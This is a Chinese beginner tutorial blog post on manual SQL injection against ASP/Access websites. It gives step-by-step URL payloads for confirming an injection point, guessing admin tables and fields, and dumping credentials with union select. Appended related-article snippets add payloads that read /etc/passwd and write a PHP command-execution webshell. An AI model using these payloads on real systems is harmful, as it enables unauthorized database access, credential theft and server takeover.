Web安全入门(ACCESS手工注入)

  先说一下SQL注入的概念,这里引用百度上的解释:所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意的)SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

  ACCESS手工注入一般步骤:

1.判断注入点(http://192.168.80.X/shownews.asp?id=12(自己编的))

观察URL中是否存在"?id=12"(这只是个例子,其实就是看URL里有没有参数传递的语句)

进一步测试这是不是一个注入点,在URL后面附加一个“and 1=1”,刷新网页,然后把“and 1=1”换成"and 1=2",再次刷新网页,如果第一次刷新网页没有变化但第二次刷新网页发生变化则说明这是一个注入点

2.判断表名

知道这里是一个注入点之后就要进一步猜我们所需要的数据库表名了,一般做渗透肯定对管理员的账号密码是最感兴趣的,拿这个举例,我们想知道数据库中哪个表是存放这些信息的,根据经验来说,一般表名会为admin,manage,user,manage_user什么的

然后测试一下:

用exists()函数判断是否存在一个名为manage的表

http://192.168.80.X/shownews.asp?id=12 and exists(select * from manage)

执行之后网页没变化,说明这个表存在

3.判断字段名

和上一个步骤差不多,只不过把字段查询精确到用户名和密码上

http://192.168.80.X/shownews.asp?id=12 and exists(select username,password from manage)

执行之后网页没变化,说明这两个字段存在

4.爆出字段内容

a.在已经确定存放用户名和密码的位置的情况下,就要想办法获得用户名和密码具体数值了,这里就要用到上篇文章说过的联合查询了,但是要进行联合查询必须满足的条件是两个表字段数相同,所以我们先要判断字段数多少,我们可以用order by来判断:

http://192.168.80.X/shownews.asp?id=12 order by Y(Y为我们猜的字段数,我们可以通过二分法,从大往小猜)

b.当我们确定字段数之后我们就可以使用联合查询了(假如字段数是6):

http://192.168.80.X/shownews.asp?id=12 union select 1,2,3,4,5,6 from manage

做完这步之后,可能会发现,123456这串数字中网页中只有两到三个数字显示出来了,这个时候我们就可以把相应的数字换成username和password,那么用户名和密码对应的值就会爆出来了

d.一般我们得到的密码的值都是经过加密的,大多数都是MD5加密算法, 所以还需要我们用其他工具对密码进行解密

  这就是我总结的大致ACCESS手工注入过程,手工注入ACCESS还是主要靠猜的,表名字段名什么的凭经验,我这里也总结一些常用的:

常见表名:

  admin  user  adminuser  manage  manager  manage_user

常见字段名:

账号:name  username  user_name  admin  adminuser  admin_user  admin_usename  adminname

密码:password  pass  usepass  user_pass  pwd  userpwd  adminpwd  admin_pwd

  如果网站开发者把管理员用户名和密码字段名弄得很变态,那属实不好猜,我们可以用一些现成的SQL注入工具,网上一搜有很多,我这里就不说了,当然我个人认为,不要一味依赖工具,还是要学一下手工注入,掌握原理,还是有好处的

原文地址:https://www.cnblogs.com/Letho/p/11171050.html

时间: 2024-10-11 23:23:19

Web安全入门(ACCESS手工注入)的相关文章

SQL注入原理 手工注入access数据库

SQL注入原理 手工注入access数据库 SQL注入是通过将SQL命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意SQL指令的目的. 1.判断网站是否有注入点. 在以asp?id=xx(任意数字)结尾的连接依次添加: ' 1=1 1=2 若以上结果显示"数据库出错","正常显示","数据库出错"则该网站存在注入点. 2.猜解表名 在链接末尾添加语句: and exists(select * from admi

小白日记39:kali渗透测试之Web渗透-SQL手工注入(一)

SQL手工注入(一) SQL注入:通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令.[SQL注入原理] ##服务端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器 用户登录判断 SELECT * FROM users WHERE user='uname' AND password='pass'SELECT * FROM users WHERE user='name' AND password='' OR

小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell

SQL手工注入 1.读取文件[load_file函数] ' union  SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' union select null,"<?php passthru($_GET['cmd']); ?>" INTO DUMPFILE "/var/www/a.php" --+   [写入一句话木马:INTO DUMPLING:MySQL函数,将输入下载在数据库中]

Web API 入门指南 - 闲话安全

参考页面: http://www.yuanjiaocheng.net/Spring/first.html http://www.yuanjiaocheng.net/entity/modelbrowser.html http://www.yuanjiaocheng.net/entity/dbcontext.html http://www.yuanjiaocheng.net/mvc/first.html http://www.yuanjiaocheng.net/webapi/first.html W

Sql Server 手工注入讲解

1.判断是否有注入 and 1=1 and 1=2 判断注入的方法是一样的 2.初步判断是否是mssql and user>0 3.判断数据库系统 and (select count(*) from sysobjects)>0 mssql and (select count(*) from msysobjects)>0 access 4.注入参数是字符 'and [查询条件] and ''=' 5.搜索时没过滤参数的 'and [查询条件] and '%25'=' 6.猜数表名 and

手工注入基本思路

手工注入 说下我的基本思路:1.目标站点环境为:Windows+Apache+Mysql+PHP2.存在SQL注入,能否直接写一句话木马3.存在SQL注入,获取数据库中用户口令,登录应用系统后上传webshell4.获取数据库口令登录phpMyAdimin,用phpMyAdmin写入一句话木马 不想因为使用扫描工具的缘故,导致服务器出现不稳定的现象,所以就纯手工咯.下面具体来说明下:1.尝试1=1的情况,正确 http://xxx/xxx.php?id=2900 and 1=1 复制代码 2.尝

mysql手工注入

information_schema SQL基础 1.1 什么是sql? SQL(structured query language),即结构化查询语言,是关系数据库的标准语言,SQL是一个通用的.功能强大的关系数据库语言,但其功能并不仅仅是查询. 1.2 mysql MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品.另外,MySQL是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速

access数据库注入

access数据库渐渐的被很多人遗忘. 而大部分安全人员也对access数据库也不感冒. 最近在西晋学院玩了玩它的web题目,没想到在西晋上面看到不少的asp的题.其中不乏有数据库注入的. access数据库并不像mysql那样方便,可以拥有information_schema这个包含数据各种数据库,表以及字段信息的"新华字典". 虽然有一个msysobjects,但是大多情况下即使管理员也没办法读取其里的信息,因为读取它需要设置权限. 下面从西晋学院里面的access盲注来说一下.

第一次手工注入

第一次手工注入 第一次注入: 看到他们黑站感觉很有意思的样子,于是我也玩了一下午,虽然都是些狠狠狠简单的东西,不过还是记录下来啦. 虽然和我现在做的没啥关系,不过,,,挺好 浏览器的"工具"--"internet选项"--"高级"--"显示友好http错误信息"(里的勾给去掉哦)注明:就是显示页面出错的信息. 2通过在搜索框中输入inurl:asp?id=    (筛选出url中带有asp?id=   字段的所有结果),然后慢